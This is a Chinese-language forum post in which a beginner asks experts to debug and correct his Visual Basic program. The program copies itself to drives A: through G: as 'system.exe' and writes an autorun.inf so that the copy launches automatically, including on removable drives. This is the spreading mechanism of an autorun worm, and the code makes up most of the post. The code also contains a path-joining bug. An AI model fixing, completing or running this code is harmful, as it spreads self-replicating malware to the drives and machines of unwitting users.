我是一个VB爱好者，但是又很菜。自己编写了一个VB程序。主要是扫描各驱动器有个有自身，如果没有就复制一个。然后创建AUTORUN。INF实现自动运行。
但是在编译过程中出现了一个错误，自己没能力解决。并且此程序也没有经过测试，不知道是否有效，或能不能应用于移动盘符。
所以麻烦个位高手指点一下该程序哪有错误。看看功能能否完全实现，最好能给下正确的代码。小弟在此感激不尽。


Private Sub Form_Load()
Dim a As Long, b As String, c As String, benshen
benshen = App.Path + App.EXEName + ".exe"
For a = 0 To 6
b = Chr(65 + a) + ":"
If Dir(b + "\autorun.inf") <> "" And Dir(b + "\system.exe") <> "" Then

Else
FileCopy benshen, b + "\system.exe"
Open b + "\autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "open=system.exe"
Print #1, "shellexecute = system.exe"
Print #1, "Shell\Auto\Command = system.exe"
Close #1
End If
Next

End Sub